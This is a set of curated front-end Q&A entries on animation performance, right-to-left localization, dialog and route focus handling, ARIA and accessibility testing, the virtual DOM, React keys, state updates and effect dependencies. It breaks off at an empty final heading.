Layout, paint and composite are separate stages. Changing top, left, width, height or margin invalidates layout for the element and its siblings, then repaints, then composites: three stages inside one frame. Changing transform or opacity skips the first two: the element already has a layer (or gets one), and the compositor just repositions or blends it. That's the whole mechanism, and it's why the same animation can go from dropping frames to holding 60 purely by changing the property.

Choosing the technique

ApproachPer-frame costReach for it whenAvoid when
CSS transition on transform/opacitycompositor onlyenter/leave, hover, togglesyou need to scrub, reverse mid-flight, or chain many steps
Web Animations API (el.animate())compositor for transform/opacityyou need pause/cancel/dynamic keyframes from JSmotion is driven by per-frame input (drag, scroll physics)
FLIPone forced layout at the start, compositor afterlayout position changes: list reorder, grid → detailcontent reflows during the animation, or dozens of elements move at once
Canvas / WebGLone draw per frame, main thread or workerhundreds of particles, custom easing, no DOM semantics neededtext, focus order, screen readers or hit-testing matter
Virtualizationremoves offscreen work entirelylong scrolling listsshort lists, or when exact scroll position matters

FLIP is the one people miss. You can't animate a layout change cheaply, so you don't: measure before, change the layout, measure after, then animate a transform from the old position back to zero.

function flip(el, mutate) {
  const first = el.getBoundingClientRect();   // read
  mutate();                                   // change layout once
  const last = el.getBoundingClientRect();    // read (one forced layout)
  const dx = first.left - last.left;
  const dy = first.top - last.top;
  el.animate(
    [{ transform: `translate(${dx}px, ${dy}px)` }, { transform: 'none' }],
    { duration: 200, easing: 'cubic-bezier(0.2, 0, 0, 1)' }
  );
}

The forced layout happens once, before the animation starts, not once per frame.

Failure modes and how you see them

  • Animating top on a list. Illustrative measurement on a mid-range phone: 60 items transitioning top held ~19 fps; the same 60 on transform held ~58 fps. The top version invalidates layout for all 60 every frame.
  • Layout thrash: reading offsetHeight and writing styles in the same loop. One read after a write forces a synchronous layout; do all reads, then all writes.
  • Long tasks stealing frames. A 120 ms JSON parse on the main thread drops seven frames at 60 Hz regardless of how good the animation is. The Performance panel's long-task markers (>50 ms) show this.
  • will-change: transform on everything. Each promoted layer costs GPU memory; on a mid-range phone with a small tile budget, dozens of layers cause their own jank. Apply it just before the animation and remove it after.
  • Ignoring prefers-reduced-motion. Wrap the animation in @media (prefers-reduced-motion: no-preference).

Verification

Profile on the device, not the laptop: remote debugging, Performance panel, record the animation, check the Frames track for dropped frames and the main thread for long tasks. A fast laptop hides exactly the problem you're trying to find.

Curated: · Written: · Reviewed:

Q&A-74What breaks when a product is translated and mirrored for right-to-left languages?

Assume a web product on evergreen browsers, one shared design system, shipping English plus at least one RTL locale (Arabic or Hebrew). Three things break, and they break independently.

Text stops fitting. German runs roughly 30% longer than English; Finnish and Hungarian more. Arabic is often shorter in character count but taller in line height, because of diacritics and the ascender/descender range. Fixed-width buttons, single-line table headers, tab bars and tooltips clip. At 14px with a ~7px average Latin advance, a 12-character English label is ~84px of text; with 24px of padding a 108px button fits. The German string is 34 characters: ~238px of text, ~262px of button. The button grows 2.4× or the label wraps and the row height changes. Those numbers are estimates for a system UI font; measure your own. Detect it with pseudo-localization at a 30–40% expansion factor in CI, then screenshot-diff.

Layout mirrors the wrong things, or nothing. dir="rtl" flips the inline axis. Anything written in physical terms ignores it: margin-left, padding-right, left, text-align: left, background-position: left, transform: translateX(), corner radii, box-shadow offsets, SVG coordinates, canvas drawing, and images with a baked-in arrow. Flexbox row follows direction; row-reverse does not flip back.

/* Physical — correct in LTR, wrong under dir="rtl" */
.card { margin-left: 16px; padding-right: 8px; text-align: left; }

/* Logical — mirrors automatically */
.card { margin-inline-start: 16px; padding-inline-end: 8px; text-align: start; }

Not everything should mirror. Back chevrons, "next" arrows, progress bars, sliders and undo/redo flip. Clocks, media transport controls, checkmarks, logos and phone numbers do not: Material Design's bidirectionality guidance lists these explicitly. A blanket transform: scaleX(-1) on the icon set gets both halves wrong.

Locale data is formatted by hand. Plurals, dates, numbers, currency, and name and address order. Arabic has six CLDR plural categories; English has two.

LocaleCLDR plural categoriesCount
Englishone, other2
Frenchone, many, other3
Russianone, few, many, other4
Arabiczero, one, two, few, many, other6

n === 1 ? singular : plural is wrong in most locales. Use Intl.PluralRules, Intl.DateTimeFormat, Intl.NumberFormat.

Bidi text. A Latin brand name, version string, phone number or code fragment inside an Arabic sentence reorders visually, because the Unicode bidi algorithm resolves runs by class. Wrap the embedded run in isolates (U+2066–U+2069) or set unicode-bidi: isolate. A unit test asserting the rendered string contains the isolate characters catches regressions.

Trade-offs. Three approaches, and the choice is decided by two questions: does the design system already use logical properties, and is RTL a first-class market or a checkbox?

  • Logical properties plus dir. Cheapest long-term, mirrors automatically, but requires auditing every physical property in the codebase and every icon asset.
  • A separate RTL stylesheet overriding physical properties. Fast for a legacy codebase you can't refactor, but it doubles the CSS surface and drifts from the LTR sheet on every new component.
  • No mirroring: translate the text, keep the LTR layout. Defensible for a marketing page or a read-only dashboard where the only RTL content is prose. Wrong the moment there is directional navigation, a progress indicator or a form with a submit button on the trailing edge.

Failure modes worth naming: a clipped label (caught by pseudo-localization and screenshot diff, not by a human reading Arabic); an icon mirrored the wrong way (caught by a golden-image test per direction); a version string reordered (caught by the isolate assertion); a plural form wrong for count 2 (caught by CLDR-driven unit tests over every category, not just 0, 1 and 2).

Curated: · Written: · Reviewed:

Q&A-71How do you handle focus when opening a dialog and when navigating in a single-page application?

Answer first. Prefer the platform. <dialog> plus showModal() gives you, in one call, the four behaviors every modal needs: focus moves to [autofocus] or the first focusable descendant; the rest of the document goes inert (top layer: not tabbable, not clickable); Esc fires cancel then close; and on close, focus returns to whatever was focused when showModal() ran. Support: Chrome 37, Firefox 98, Safari 15.4 (March 2022).

If you render through a React portal, or need a sheet that is not modal, you reproduce all four by hand. Don't hand-roll the trap in production: focus-trap and @radix-ui/react-dialog both ship it. The shape is:

function useDialogFocus(open, ref) {
  const trigger = useRef(null);
  useEffect(() => {
    if (!open || !ref.current) return;
    trigger.current = document.activeElement;
    const el = ref.current;
    const sel = 'a[href],button:not([disabled]),input:not([disabled]),select,textarea,[tabindex]:not([tabindex="-1"])';
    const target = el.querySelector('[autofocus]') ?? el.querySelector(sel) ?? el; // el needs tabIndex={-1}
    target.focus();
    const onKey = (e) => {
      if (e.key !== 'Tab') return;
      const f = [...el.querySelectorAll(sel)];
      if (!f.length) return;
      const first = f[0], last = f[f.length - 1];
      if (e.shiftKey && document.activeElement === first) { e.preventDefault(); last.focus(); }
      if (!e.shiftKey && document.activeElement === last) { e.preventDefault(); first.focus(); }
    };
    el.addEventListener('keydown', onKey);
    return () => {
      el.removeEventListener('keydown', onKey);
      if (trigger.current?.isConnected) trigger.current.focus();
    };
  }, [open]);
}

Mark the surface role="dialog" aria-modal="true" aria-labelledby="title-id".

Route changes. React Router v6/v7 does nothing here, and neither does Next.js. Move focus to the new <h1> after the DOM commits, skipping the first render so you don't steal focus from the address bar on load:

const h1 = useRef(null), first = useRef(true);
const { pathname } = useLocation();
useEffect(() => {
  if (first.current) { first.current = false; return; }
  h1.current?.focus();
}, [pathname]);
// <h1 ref={h1} tabIndex={-1}>

tabIndex={-1} makes the heading programmatically focusable without adding it to the Tab order. Programmatic focus only matches :focus-visible when the last interaction was a keyboard one, so a mouse-driven navigation paints no outline on the heading.

Trade-offs.

ApproachContainmentCost
<dialog showModal()>Automatic, background inertTop layer escapes z-index and overflow: hidden; ::backdrop styling; polyfill below Safari 15.4
Portal + aria-modal onlyNoneBackground stays tabbable; only pruned from the a11y tree
Portal + inert on the app rootRealinert needs Chrome 102 / Firefox 112 / Safari 15.5
Portal + Tab-key trapReal, JS-levelRe-query focusables on every Tab; iframes sit outside the trap

aria-modal="true" prunes the background from the accessibility tree but does not remove it from the tab order. That gap is the most common dialog bug, and axe-core reports it as aria-hidden-focus when you reach for aria-hidden instead.

Failure modes. Applying inert to the app root when the dialog is a descendant of that root inerts the dialog too. Focusing a node that is still display: none or visibility: hidden does nothing: wait for paint, not for the state change. Restoring focus to a trigger whose element was replaced by a re-render calls .focus() on a detached node and silently drops focus to <body>; that is what isConnected guards. Dialog opened from a dialog: the inner trap owns Tab, and closing it returns focus to the control inside the outer dialog, not to the original trigger. Scroll lock that sets overflow: hidden on body deletes the scrollbar and shifts the layout by window.innerWidth - document.documentElement.clientWidth pixels; compensate with padding-right.

Evidence. Keyboard only: from the last control, Tab wraps to the first; from the first, Shift+Tab wraps to the last; Esc closes; the trigger shows a :focus-visible ring. Then a screen reader: browse mode must not arrow into the background while the dialog is open.

Curated: · Written: · Reviewed:

Q&A-72When should you add ARIA attributes, and when do they make things worse?

The 60-second answer. Add ARIA when you are building a widget whose semantics do not exist in HTML and you have already implemented the behaviour in JavaScript: a combobox, a treegrid, a tab set. Do not add it to patch a wrong element, to name something that cannot be named, or to hide something that is still focusable. The test is not "does it announce correctly" but "does the announced role, name and state match what the control actually does when operated by keyboard."

Why it breaks. Browsers build an accessibility tree alongside the DOM and expose role, accessible name, description and states through platform APIs (UIA and IAccessible2 on Windows, AXAPI on macOS). Screen readers read that tree, not your markup. ARIA writes into the tree; it adds no behaviour. role="button" on a <div> makes the tree say "button" while the DOM still has no activation on Enter, none on Space, and no focusability unless you add tabindex="0". The name is computed by the Accessible Name and Description Computation spec in order: aria-labelledby, then aria-label, then native sources (<label>, alt, text content). That order is why aria-label silently overrides a visible <label>.

Where it earns its place.

SituationWhat to writeWhy
Native element exists<button>, <input type="checkbox">role, name, state and keyboard come free
Custom widget, no native equivalentrole="combobox" plus aria-expanded, aria-controls, aria-activedescendantARIA supplies semantics you back with JS
Async status textrole="status" (implicit aria-live="polite")announced without stealing focus
Urgent errorrole="alert" (implicit aria-live="assertive", aria-atomic="true")interrupts current speech
Decorative SVGaria-hidden="true" on the <svg>removed from the tree
Naming a bare <div>nothing: aria-label is not exposed on the generic roleuse a real element or give it a role

Two failures worth memorising.

Ghost focus. aria-hidden="true" does not remove an element from the tab order.

<button aria-hidden="true">Close</button>

The button is still focusable. A keyboard user tabs to it, the screen reader announces nothing, and the focus ring sits on an invisible control. axe-core's aria-hidden-focus rule catches this one.

Live region that never speaks.

el.setAttribute('aria-live', 'polite');
el.textContent = 'Saved';

Setting the attribute and the text in the same tick usually produces silence: the region was not in the accessibility tree before the change, so there is no mutation to announce. Render an empty <div role="status"> at load and only ever change its textContent.

Grey cases. For a custom widget, ARIA is neither optional nor sufficient: you owe the full keyboard contract (arrow keys, Home/End, Escape, typeahead for listboxes) plus the states. aria-disabled="true" shows the trade: it keeps the element focusable and announced as disabled, but it does not block clicks, so your handler must check it. role="presentation" is ignored on focusable elements. And an aria-label that does not contain the visible text breaks WCAG 2.5.3 Label in Name, so voice-control users saying "click Search" get nothing.

How to check. Run axe-core for the mechanical rules, then operate every ARIA-annotated component with a real screen reader: NVDA with Firefox and VoiceOver with Safari disagree often enough that one is not evidence. Confirm the announced role, name and state match what the control does.

Curated: · Written: · Reviewed:

Q&A-73Automated accessibility checks pass. What do they miss?

Automated checks (axe-core, Lighthouse (which runs axe-core), pa11y) decide a subset of WCAG success criteria mechanically against the DOM as it exists at scan time. They miss everything that needs judgment about meaning, sequence, timing, or interaction. Deque's 2019 analysis of ~300,000 pages put automated detection at roughly 30% of WCAG 2.0 A/AA issues; the rest need a human driving the page.

What automation can and cannot decide

WCAG 2.2 criterionWhy a scanner can't decide it
1.3.2 Meaningful SequenceRequires understanding what the content means
2.1.1 KeyboardNeeds a real widget driven through every state
2.4.3 Focus OrderLogical order is a judgment, not a DOM property
3.3.1 Error IdentificationNeeds a triggered error state to inspect
4.1.3 Status MessagesNeeds an update to fire and be observed
1.1.1 Non-text ContentPresence of alt is testable; whether it describes the image is not
1.4.13 Content on Hover or FocusNeeds hover/focus interaction

A scanner also only sees the DOM state it was handed. Content behind a tab, inside a closed modal, or after login is invisible to it unless you script each state.

A failure that passes every check

<form id="signup">
  <label for="email">Email</label>
  <input id="email" type="email" name="email">
  <p id="email-err" class="error" hidden></p>
  <button type="submit">Create account</button>
</form>
<script>
  document.getElementById('signup').addEventListener('submit', (e) => {
    e.preventDefault();
    const err = document.getElementById('email-err');
    err.textContent = 'Enter a valid email address';
    err.hidden = false;
  });
</script>

axe passes this: the input has a label, contrast is fine, no invalid ARIA. Trace what a screen reader does. Focus is on the button. Submit fires, the paragraph's text node changes, hidden flips to false. The paragraph is not a live region and focus never moves, so nothing is announced. The user hears silence after a failed submit.

The fix is to make the change announce itself: role="alert" on the error paragraph (implicit aria-live="assertive"), or move focus to an error summary at the top of the form. Neither is something a scanner can tell you is missing, because the failure only exists after interaction.

What to run instead

Keep the scanner in CI as a regression net, then add passes it cannot replace: complete each primary task with the keyboard only, complete it with a screen reader and confirm every state change is announced, and check reading order against visual order. One non-visual pass per release is the minimum that catches the class of bug above.

Automated checks are the floor. A green score means the mechanical rules passed, not that the task works.

Curated: · Written: · Reviewed:

Q&A-48What makes a component accessible, and how do you check it?

A component is accessible when three things hold: it exposes a name, a role and its current state to the accessibility tree; every action it offers is reachable and operable with the keyboard alone; and its visual presentation meets the WCAG 2.2 AA minimums. 4.5:1 contrast for body text, 3:1 for large text and for UI component boundaries (SC 1.4.3, 1.4.11), and a 24×24 CSS px target (SC 2.5.8). Native elements give you the first two for free; ARIA only patches what HTML cannot express.

The cheapest check is to compare the accessibility tree of the markup you wrote against the one you meant.

<!-- A -->
<div class="btn" onclick="save()">Save</div>

<!-- B -->
<button type="button" onclick="save()">Save</button>

Chrome DevTools → Elements → Accessibility pane, "Full AX tree":

AB
rolegenericbutton
name(empty)"Save"
focusablefalsetrue
actionsnoneclick

A is invisible to the tab order and to a screen reader. Adding role="button" tabindex="0" fixes the role and the tab stop but not the activation: you still have to handle Enter and Space yourself, and Space scrolls the page unless you call preventDefault(). That is the whole argument for <button>.

State is the third leg of that triple. A disclosure needs aria-expanded, a toggle needs aria-pressed, and a disabled control should use the disabled attribute: reach for aria-disabled only when you must keep it focusable.

Then the keyboard trace, which is what actually catches focus bugs:

  1. Tab to "Open settings", press Enter. Dialog opens.
  2. Focus lands on the dialog heading (tabindex="-1") so the screen reader reads the title before the first control.
  3. Tab cycles inside the dialog; the page behind it carries inert, so its links are skipped.
  4. Escape closes. Focus returns to "Open settings", not to <body>.

Step 4 is the one that regresses most often. If focus lands on body, the next Tab starts at the top of the page and a keyboard user has lost their place.

Three layers of checking, and what each misses:

LayerCatchesMisses
axe-core / Lighthousemissing names, contrast, duplicate ids, aria-hidden on focusable nodeswhether the name makes sense, whether focus order matches visual order
Keyboard only, no mouseunreachable controls, traps, invisible focus, Space/Enter handlinganything announced wrongly
Screen reader (NVDA+Firefox, VoiceOver+Safari)wrong role, missing state, unannounced updatescontrast, target size

Deque, which maintains axe-core, has long estimated that automated rules catch roughly a third of accessibility issues. A clean axe run is a floor, not a pass.

Failure modes worth naming, because each has a distinct symptom:

  • outline: none with no replacement: sighted keyboard users cannot tell where they are (SC 2.4.7).
  • opacity: 0 instead of display: none for a hidden panel: the content stays focusable and in the accessibility tree, so Tab disappears into nothing.
  • aria-hidden="true" on a container that still holds a focusable link: axe flags aria-hidden-focus, and screen reader users get a focus stop with no announcement.
  • Error state signalled only by a red border: colour alone (SC 1.4.1). Add text and an icon, and wire the message to the field with aria-describedby.
  • A custom listbox with role="listbox" but no aria-activedescendant: arrow keys move the highlight visually and the screen reader announces nothing.

When not to reach for ARIA: if a native element exists, use it. role="button" on a div, role="checkbox" on a span, and aria-label on a non-interactive element all add maintenance without adding behaviour. No ARIA is better than bad ARIA.

Curated: · Written: · Reviewed:

Q&A-102A designer hands you a new feature. How do you make it accessible, and what do you check before calling it done?

I ask the designer what the interaction actually is (a menu, a form, a drag target) because that decides the widget semantics, and I build those in before styling, not after. Then I run the same five checks before I mark the ticket done: keyboard-only, one screen reader, measured contrast, 200–400% zoom, and reduced motion. Those go into the ticket as acceptance criteria when I pick it up, because "we'll do an accessibility pass later" is how features ship broken.

Semantics first. Most accessibility is decided by the element you pick. Native elements bring focus, keyboard handling, roles and states for free; ARIA only re-labels what you already built.

<!-- state and keyboard come from the platform -->
<fieldset>
  <legend>Price</legend>
  <label><input type="checkbox" name="price" value="under-25"> Under $25</label>
</fieldset>
<details><summary>Shipping options</summary>…</details>

<!-- the same thing as divs: no focus, no Space key, no role, no label -->
<div class="checkbox" onclick="toggle()">Under $25</div>

If the design genuinely needs a custom widget (combobox, tablist), I follow the ARIA Authoring Practices pattern exactly (roving tabindex, arrow keys, Home/End, Escape) rather than inventing keyboard behaviour.

Keyboard and focus. Unplug the mouse and complete the flow: Tab reaches everything interactive in visual order, focus is always visible, no positive tabindex, Escape closes overlays, and focus returns to the trigger on close. On a route change in an SPA I move focus to the new heading or main region, otherwise a screen reader user stays where they were.

Screen reader. I test at least one desktop pair (NVDA + Firefox on Windows, or VoiceOver + Safari on macOS) and one mobile (VoiceOver on iOS or TalkBack). I listen for the name, role and state of each control ("Under $25, checkbox, not checked") and whether dynamic updates are announced. The accessibility tree in DevTools is not a substitute: it shows what's exposed, not what's spoken.

Contrast. Measured, not eyeballed. WCAG 2.2 AA is 4.5:1 for body text, 3:1 for large text (≥24px, or ≥18.66px bold) and 3:1 for UI component boundaries and focus indicators. #767676 on white is 4.54:1. The lightest grey that passes; #999999 on white is 2.85:1 and fails. Focus rings and placeholder text are the usual casualties.

Definition of done. I put the checks in the ticket and gate on them:

CheckHowWhat it misses
Semantics / ARIAaxe-core in CIwhether alt text is meaningful
Keyboardmouse unplugged—
Screen readerNVDA or VoiceOver pass—
Contrastcomputed ratiotext baked into images
Zoom / reflow400% at 1280px, 320px wide—

Automated rules catch a minority of real issues, Deque's own figure for axe-core is roughly 57% of WCAG failures, so passing CI is a regression gate, not a sign-off. Accessibility bugs get triaged at the same severity as functional bugs; a keyboard trap is a crash for the person hitting it.

Curated: · Written: · Reviewed: —

Q&A-100In a live coding round, build a modal dialog. What must it do?

What a strong candidate says first. A dialog is a focus-management problem with a visual on top. I'd reach for the native <dialog> element and showModal() before writing any trap, because the platform already does the four things interviewers grade: it moves focus in, makes the rest of the document inert, closes on Escape, and restores focus on close. Then I'd add the two things it does not do, backdrop-click close and body scroll lock, and give it an accessible name.

<button id="open">Delete account</button>

<dialog id="confirm" aria-labelledby="confirm-title">
  <h2 id="confirm-title">Delete account?</h2>
  <p>This cannot be undone.</p>
  <form method="dialog">
    <button value="cancel" autofocus>Cancel</button>
    <button value="delete">Delete</button>
  </form>
</dialog>

<script>
  const dialog = document.getElementById('confirm');
  document.getElementById('open')
    .addEventListener('click', () => dialog.showModal());

  // showModal() does NOT close on backdrop click. The backdrop is part of
  // the dialog's own box, so a click there targets the dialog element.
  dialog.addEventListener('click', (e) => {
    if (e.target === dialog) dialog.close('cancel');
  });

  dialog.addEventListener('close', () => {
    console.log(dialog.returnValue); // 'cancel' | 'delete' | '' on Escape
  });
</script>

Trace it. Click Delete account → showModal() puts the dialog in the top layer, makes the rest of the document inert, and focuses the first focusable descendant, which autofocus pins to Cancel. Tab cycles Cancel → Delete → Cancel; nothing behind is reachable. Press Escape → a cancel event fires, then close; returnValue stays ''. Click Delete → the method="dialog" form submits and closes with returnValue === 'delete'. Either way the spec restores focus to the previously focused element, the trigger button: verify that in your target browsers rather than assuming it.

Native vs portal vs library.

Requirement<dialog> + showModal()Hand-rolled portal
Focus moves inautomaticmanual
Focus trappedautomatic (rest inert)manual sentinels or loop
Escape closesautomatic (cancel → close)manual keydown
Backdrop clickmanual (e.target === dialog)manual
Background inertautomaticmanual inert
Focus restoredautomatic per specmanual
Overlay styling::backdrop onlyany element you like

Native wins on correctness per line of code and sidesteps z-index and stacking-context bugs by living in the top layer. Its costs: ::backdrop takes no content and limited styling, and you need Safari 15.4+ (March 2022) for showModal().

A portal component is worth it when you must render into a specific container, want rich content in the overlay, or support engines without <dialog>, but you then own the trap, the inertness, Escape, and focus restore, and each is a bug source. A library (Radix, Headless UI, React Aria) earns its bundle when you need nested dialogs, animation orchestration, or design-system consistency.

When a modal is the wrong pattern. Destructive actions that could be inline with undo; non-blocking status that belongs in a toast; content that should be a deep-linkable route; anything the user needs to read while acting on the page behind it. On mobile, a full-screen sheet usually beats a centred box.

Failure modes. Background still scrolls: showModal() makes the rest inert but does not lock body scroll in every engine, so set overflow: hidden on the root and restore it. Focus lands on the destructive button because it is first in DOM order. A hand-rolled trap that queries document traps across nested dialogs instead of the top one. No aria-labelledby, so a screen reader announces an unnamed dialog.

Verification. Keyboard only: Tab cycles inside, Shift+Tab wraps, Escape closes, document.activeElement after close is the trigger, and Tab from the trigger never reaches the page behind.

Curated: · Written: · Reviewed:

Q&A-26Is the virtual DOM faster than direct DOM manipulation?

No, not inherently. The virtual DOM is a programming model that costs work on every update. It wins against naive DOM code and against developer time, not against a hand-written targeted update.

The DOM API itself is a thin binding into the engine's C++ tree. A single textContent write is cheap. What costs is what the write invalidates: style recalculation, layout, paint, and the JS↔DOM boundary crossings you make to get there. The virtual DOM does not reduce any of that; it adds a diff in front of it.

Same update, both ways. Rename one row in a 1,000-row list.

// React 18
function List({ rows }) {
  return <ul>{rows.map(r => <Row key={r.id} label={r.label} />)}</ul>;
}
setRows(rows => rows.map(r => r.id === 42 ? { ...r, label: 'new' } : r));

Trace: setRows schedules a render. List runs, rows.map allocates a new 1,000-element array and 1,000 new React elements. Reconciliation walks the children, matches by key, and finds one changed label. Commit writes one text node. Without React.memo on Row, all 1,000 Row functions also run first; with it, React skips 999 of them but still walks the array.

document.querySelector('#row-42 .label').textContent = 'new';

Trace: one selector lookup (cache the ref and it is zero), one text node write. The browser marks that node dirty and re-lays out only if the row's box changed.

Both produce exactly one DOM write. The virtual DOM's extra cost is the allocation and the diff: O(n) JS work for an O(1) change.

ApproachDOM writesExtra JS per update
Targeted imperative1none
React, memoized rows11,000 element allocations + diff walk
React, no memo11,000 component calls + allocations + diff
innerHTML = ... rebuild1,000 nodes recreatedHTML parse + full subtree replace

The last row is the case the virtual DOM was built to beat, and it does.

Where it actually pays. Batching: React 18 batches every setState in the same event handler, promise, or timeout into one render, so ten state changes cost one commit and one layout pass instead of ten. Phase separation: render is pure JS and commit is the only phase that touches the DOM, which makes layout thrashing, interleaving reads like offsetHeight with writes, structurally hard to write. And consistency: the screen is a function of state, so you cannot forget to update a derived node.

Failure modes. Unkeyed lists: React matches children by index, so inserting at the head shifts every row's props, mutates all 1,000 rows, and drops the state of any uncontrolled input inside them. Detect it in React DevTools with "highlight updates": one insert flashes the whole list. Manual DOM inside a framework subtree: your write survives until the next render, then gets clobbered; the symptom is a change that appears and reverts. Imperative code that reads layout after each write: the Performance panel shows repeated Recalculate Style/Layout inside one frame.

Go direct when the update is compositor-only (transform, opacity driven by requestAnimationFrame), when you own the pixels (canvas, WebGL), or when you are already virtualizing and positioning rows yourself. For everything else, the diff is cheaper than the bugs.

For current numbers, the js-framework-benchmark (krausest) runs keyed list operations across frameworks; hand-written vanilla JS sits at the top of those tables, which is the honest answer to the question.

Curated: · Written: · Reviewed:

Q&A-27Why does React need keys, and what breaks when you use the array index?

The 90-second answer

React reconciles a list by walking the old and new children and matching each new element to an old one by type and key; position is only the fallback. A key is the identity you hand React so it can tell "same item, moved" from "different item". Passing the array index asserts that whatever sits at position 0 this render is the same item that sat at position 0 last render: false the moment the list reorders, filters, or has an item inserted or removed before the end.

Assumptions: React 18, function components, list built with array.map. Keys need to be unique only among siblings, not globally, and key is consumed by React: it is not passed to the child as a prop (props.key is undefined).

What actually breaks

State and DOM are attached to the fiber matched by key, not to the data. When the match is wrong, the wrong fiber keeps the state.

function Row({ label }) {
  const [note, setNote] = useState('');
  return (
    <li>
      {label}
      <input value={note} onChange={(e) => setNote(e.target.value)} />
    </li>
  );
}

function TaskList({ tasks }) {
  return (
    <ul>
      {tasks.map((t, i) => (
        <Row key={i} label={t.label} />   // index key
      ))}
    </ul>
  );
}

Trace, React 18 dev build:

  1. tasks = [{id:'a',label:'Buy milk'}, {id:'b',label:'Ship PR'}, {id:'c',label:'Call Sam'}]. Keys 0, 1, 2.
  2. Type hello into the second row ("Ship PR"). The Row fiber with key 1 holds note = "hello".
  3. Delete "Buy milk". New array [{id:'b'},{id:'c'}], keys 0, 1.
  4. React matches by key: key 0 → "Ship PR", key 1 → "Call Sam". Fiber key 1 is reused, so note = "hello" now renders next to "Call Sam". Fiber key 2 unmounts and its state is dropped.

The typed text jumped one row down. Swap key={i} for key={t.id} and step 4 matches b→b, c→c: "hello" stays on "Ship PR", and "Buy milk"'s fiber unmounts with its state.

Same mechanism, other symptoms: an uncontrolled <input> keeps its DOM node, so focus and caret stay on the slot; useEffect cleanup and setup re-run for rows whose key changed; CSS transitions replay; a prepend changes every row's props, so all rows re-render.

When the index is fine, and what ids cost

Index keys are correct when the list is static for its lifetime (never reordered, filtered, inserted into, or deleted from) and the rows hold no local state, no uncontrolled inputs, and no focus. A read-only table rendered once qualifies: the index is stable, and you avoid needing an id at all.

The cost of id keys: you need an id that is stable across renders and unique among siblings. If the data has none, generate it once at insert time and store it: crypto.randomUUID() called inside map produces a new key every render, which unmounts and remounts every row, the exact failure you were avoiding. Ids are strings, so a long id costs a little memory per element; negligible next to the remount.

How I'd check it

React DevTools Profiler: prepend an item and watch whether every row re-renders (index keys) or only the new one (id keys). Then type into a row, reorder, and confirm the text stays with its item.

Curated: · Written: · Reviewed:

Q&A-28Why does reading state right after setting it show the old value?

The 90-second answer. useState returns a snapshot, not a live binding. const [count, setCount] = useState(0) gives you the value React computed for this render; setCount doesn't assign to it, it enqueues an update on that hook's queue on the fiber. React drains the queue and re-renders later: after the current handler returns, and after every other handler in the same batch. So count inside the handler is still the number the render started with. This is React 18+ behaviour under createRoot (React 19 is current). Under the legacy ReactDOM.render root, batching only covered React event handlers, so a setTimeout callback re-rendered once per call.

Mechanism. Each useState call owns a hook slot holding the memoized state and a queue of pending actions. A setter pushes an action and schedules work on the root. Actions are either replace (setCount(1)) or updater (setCount(c => c + 1)). At the next render React folds the queue in order: a replace discards everything before it, an updater receives the accumulated value. Two replaces built from the same snapshot collapse; two updaters don't.

Trace. React 18.3 / 19, function component:

function Counter() {
  const [count, setCount] = useState(0);
  function handleClick() {
    setCount(count + 1);   // replace 1
    setCount(count + 1);   // replace 1
    console.log(count);    // 0
  }
  return <button onClick={handleClick}>{count}</button>;
}

Click at count === 0: handleClick closes over 0. Both calls enqueue replace(1). console.log prints 0. React folds the queue, last replace wins, and re-renders with 1. Swap both lines for setCount(c => c + 1) and the queue is [updater, updater], folded 0 → 1 → 2.

Handler bodyQueueFinal count
setCount(count + 1) ×2[replace 1, replace 1]1
setCount(c => c + 1) ×2[updater, updater]2

Reading the new value. Read it in the next render, or in useEffect (after paint) / useLayoutEffect (before paint, after DOM mutation) with the value in the dependency array. If you need something that reads back on the next line and doesn't drive rendering, useRef is the right tool: mutating ref.current is visible immediately. flushSync from react-dom forces pending work to flush synchronously:

import { flushSync } from 'react-dom';
flushSync(() => setCount(c => c + 1));
// DOM is updated here, but `count` in this closure is still the old value

The closure stays stale even after flushSync: read the DOM or a ref, not the variable.

Failure modes. Double-increment on fast clicks is the classic: two replaces from one snapshot lose an increment. A stale closure in a setTimeout or an effect with [] deps reads the value from the render that created it. useState(props.value) only honours the initial value on the first render, so later prop changes are ignored. Detect all three with React DevTools' "Highlight updates when components render", with StrictMode's double-invocation of the updater (which is why updaters must be pure), and with a test that clicks twice and asserts the final count.

When not to use flushSync. It opts out of batching and forces a synchronous re-render; calling it in a loop causes layout thrash. Reach for it only when a non-React consumer has to read the DOM immediately after the update.

Curated: · Written: · Reviewed:

Q&A-29How do you decide what goes in an effect's dependency list?

The rule, and what it is really telling you

List every reactive value the effect reads: props, state, and anything computed from them in the component body. React compares the array element by element with Object.is after each render; if any entry differs from the previous render, it runs the cleanup from the last effect and then the effect again. Nothing else triggers a re-run.

The useful part is the corollary. If the dependency list looks wrong: you are adding a function you do not care about, or you want to omit a value you do read: the effect is usually doing something it should not. Fix the effect, not the list.

A stale closure, traced

// React 18.3
function ChatRoom({ roomId }) {
  const [messages, setMessages] = useState([]);

  useEffect(() => {
    const socket = connect(roomId);
    socket.on('message', (m) => setMessages((prev) => [...prev, m]));
    return () => socket.close();
  }, [roomId]);

  return <MessageList messages={messages} />;
}

Render with roomId="general": the effect runs, connect("general") opens a socket, and the cleanup closure captures that socket. The parent switches to roomId="random": React re-renders, compares ["general"] with ["random"], they differ, so it calls socket.close() on the general socket and runs the effect again with connect("random"). Messages now arrive from the right room.

Change the list to [] and the same switch does nothing: the deps are equal, so no cleanup and no re-run. The general socket stays open and its messages keep landing in messages while the UI says "random". That is the stale closure, and it is silent: no error, no runtime warning.

What each choice buys you

Effect readsDep listBehaviour on a room change
roomId prop[roomId]cleanup closes old socket, effect opens new one
roomId prop[]no re-run; old socket keeps delivering
inline { roomId } object[{ roomId }]new object every render, so reconnect on every render
roomIdRef.current[]never reconnects; reads whatever the ref held when it last ran

The third row is the thrash case: an object or function created in the body is a new reference each render, so the effect tears down and rebuilds constantly. Make the value stable: define the function outside the component if it does not touch props or state, or wrap it in useCallback with its own deps, or move the function inside the effect so it is not a dependency at all.

The fourth row is the escape hatch, and it is narrow: a ref lets you read the latest value without re-running, which is right only when you genuinely do not want a re-run. Using it to silence the linter on a value that should retrigger just moves the stale closure somewhere harder to see.

How you catch it

eslint-plugin-react-hooks's exhaustive-deps rule computes the reactive values an effect reads and flags the ones missing from the list. Treat a disable comment as a design question, not a fix. In development, StrictMode mounts, unmounts and remounts each component, so an effect that does not clean up properly shows up as a doubled connection or a duplicated subscription. For the rest, write a test that changes the dependency and asserts the cleanup ran: for the chat example, assert socket.close was called on the old room's socket before the new one opened.

When the answer is "no effect"

